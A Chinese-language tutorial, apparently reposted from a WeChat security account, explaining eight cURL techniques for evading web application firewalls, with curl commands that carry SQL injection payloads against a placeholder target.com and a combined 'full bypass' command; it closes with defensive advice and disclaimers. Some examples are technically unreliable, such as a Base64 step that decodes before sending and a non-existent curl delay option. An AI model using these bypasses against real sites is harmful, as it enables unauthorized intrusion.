声明:本文仅供安全研究和学习交流使用,严禁用于非法用途。
在Web应用安全测试中,绕过WAF(Web应用防火墙)是一个重要的技术点。本文将详细介绍如何使用cURL工具实现WAF绕过,并提供实用的命令示例。
WAF简介
WAF是一种用于保护Web应用的安全设备,主要防御:
-
SQL注入 -
XSS跨站脚本 -
请求洪水攻击 -
其他Web攻击
用户请求 -> [ WAF ] -> Web应用 过滤恶意请求
cURL工具介绍
cURL是一个功能强大的命令行工具,支持:
-
HTTP/HTTPS协议 -
FTP协议 -
自定义请求头 -
数据传输加密
基本语法结构:
curl [options] [URL]
WAF绕过技术
1. 自定义HTTP头绕过
HTTP 头的类型
-
请求头 (Request Headers)
-
客户端 -> 服务器 -
包含在HTTP请求中 -
用curl的-H参数修改
-
响应头 (Response Headers)
-
服务器 -> 客户端 -
包含在HTTP响应中 -
由服务器端控制
请求头修改示例
# 基本HTTP请求头
curl -H "User-Agent: Mozilla/5.0" https://target.com
# 多个请求头
curl -X POST https://target.com
-H "User-Agent: Mozilla/5.0"
-H "Content-Type: application/json"
-H "Authorization: Bearer token123"
修改请求头以绕过WAF
curl -X POST https://target.com/login
-H "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_0)"
-H "Referer: https://trusted-site.com"
-d "username=admin&password=test123"
2. URL编码绕过
URL编码绕过是一种重要的WAF绕过技术
URL编码原理
URL编码将特殊字符转换为%XX格式:
-
空格 -> %20 -
' -> %27 -
" -> %22 -
= -> %3D -
( -> %28 -
) -> %29
示例
原始payload -> URL编码 -> WAF检测 -> 目标应用
示例:
# 原始请求
curl "https://target.com/search?q=admin' OR 1=1--"
# URL编码后
curl "https://target.com/search?q=admin%27%20OR%201%3D1--"
3. HTTP方法绕过
HTTP方法绕过是一种通过替换或修改HTTP请求方法来绕过WAF的技术。
常见HTTP方法
-
标准方法
GET - 获取资源
POST - 提交数据
PUT - 上传/更新资源
DELETE - 删除资源
HEAD - 获取响应头
OPTIONS - 获取支持的方法
-
不常见方法
TRACE - 诊断测试
CONNECT - 建立隧道
PATCH - 局部修改
PROPFIND- WebDAV方法
常用的HTTP方法替换:
-
GET → PUT -
POST → PATCH -
POST → OPTIONS
示例
curl -X PUT https://target.com/admin/upload
-d "[email protected]"
4. 空字节注入
空字节注入(Null Byte Injection)是一种通过插入空字节(%00或�)来绕过WAF检测的技术。
空字节原理
空字节是ASCII码为0的字符:
-
URL编码形式: %00 -
十六进制: x00 -
字符形式: �
许多程序在处理字符串时,会将空字节视为字符串结束符,这可能导致后续内容被截断。
示例
通过插入空字节(%00)来打断WAF的规则匹配:
curl "https://target.com/search?q=admin%00' OR 1=1--"
5. 大小写混淆
利用WAF对大小写的敏感性:
# 原始payload
admin' OR 1=1--
# 混淆后
AdMiN' oR 1=1--
6. 代理绕过
使用代理来绕过IP限制:
curl -x http://proxy.example.com:8080
https://target.com/login
-d "username=admin&password=test123"
7. Base64编码绕过
# 编码payload
encoded_payload=$(echo -n "admin' OR 1=1--" | base64)
# 发送请求
curl -X POST https://target.com/login
-d "username=$(echo $encoded_payload | base64 -d)"
8. 请求延迟绕过
请求延迟绕过(Request Delay Bypass)是一种通过控制请求时间或频率来绕过WAF检测的技术。
基本原理
-
WAF超时机制
-
WAF通常有请求处理超时限制 -
某些WAF在处理超时后会放行请求 -
有些WAF会降低长连接请求的检测强度
-
请求速率限制
-
WAF可能有QPS(每秒查询率)限制 -
某些WAF对高频请求会触发特殊处理 -
速率限制可能影响检测精度
示例
控制请求速率避免触发WAF:
curl https://target.com/api/test
--limit-rate 100k
--delay 3
实战技巧组合
在实际测试中,往往需要组合多种技术:
-
基础请求
curl "https://target.com/search?q=test"
-
添加代理和编码
curl -x proxy:8080
"https://target.com/search?q=test%27%20OR%201%3D1--"
-
完整绕过方案
curl -x proxy:8080
-H "User-Agent: Mozilla/5.0"
-H "Referer: https://google.com"
--limit-rate 50k
"https://target.com/search?q=AdMiN%00%27%20OR%201%3D1--"
安全建议
-
WAF配置
-
启用全面的请求检查 -
实施严格的规则策略 -
定期更新规则库
-
-
开发建议
-
输入验证 -
参数化查询 -
错误处理
-
-
运维建议
-
监控异常请求 -
记录安全日志 -
定期安全评估
-
总结
WAF绕过是一个复杂的话题,需要:
-
深入理解HTTP协议 -
掌握多种绕过技术 -
灵活运用工具 -
注重安全防护
免责声明:本文仅供学习交流使用,禁止用于非法用途。
原文始发于微信公众号(HW安全之路):8种实用的cURL绕过WAF技术详解:从基础到进阶
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论